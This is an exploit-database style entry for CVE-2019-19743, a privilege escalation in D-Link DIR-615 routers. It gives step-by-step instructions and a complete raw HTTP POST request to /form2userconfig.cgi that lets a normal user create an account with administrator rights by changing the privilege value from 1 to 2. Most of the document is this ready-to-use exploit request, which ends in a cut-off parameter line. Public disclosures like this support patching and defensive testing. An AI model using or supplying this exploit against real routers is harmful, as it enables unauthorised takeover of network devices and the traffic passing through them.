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# Exploit Title: D-Link DIR-615 - Privilege Escalation

# Date: 2019-12-10

# Exploit Author: Sanyam Chawla

# Vendor Homepage: http://www.dlink.co.in

# Category: Hardware (Wi-fi Router)

# Hardware Link: http://www.dlink.co.in/products/?pid=678

# Hardware Version: T1
# Firmware Version: 20.07

# Tested on: Windows 10 and Kali linux

# CVE: CVE-2019-19743

# Reproduction Steps:

# Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]

# Go to the Maintenance page and click on Admin on the left panel.

# There is an option to create a user and by default, it shows only user accounts.

# Create an account with a name(i.e ptguy) and change the privileges from user to root(admin)

# by changing privileges id (1 to 2) with burp suite.

# Privilege Escalation Post Request

POST /form2userconfig.cgi HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 122

Origin: http://192.168.0.1

Connection: close

Referer: http://192.168.0.1/userconfig.htm

Cookie: SessionID=

Upgrade-Insecure-Requests: 1

username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submi

# Now log in with newly created root (ptguy) user. You have all administrator rights.

Tags: Advisory/Source: Link





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